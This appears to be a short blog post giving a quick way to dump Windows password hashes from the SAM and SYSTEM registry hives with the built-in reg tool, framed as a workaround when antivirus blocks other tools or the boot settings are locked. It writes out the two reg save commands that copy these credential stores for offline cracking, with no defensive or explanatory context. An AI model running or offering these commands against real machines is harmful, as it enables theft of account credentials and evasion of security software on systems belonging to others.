It sometimes happens that we need to dump the nthashes of the computer that we're on, but no matter how hard we try, we can't get it to work. Maybe the programs we like to use are being blocked by an antivirus, or maybe we need to boot off a CD and the boot device priority is locked and the cmos passworded.
Whatever the problem, I have a very simple solution: Use Windows' own built-in
reg tool.
That's right, you can dump the sam hashes straight from the command prompt! Here's how:
reg save HKLM\SAM %computername%.sam
reg save HKLM\SYSTEM %computername%.system
Easy. As. Pie.
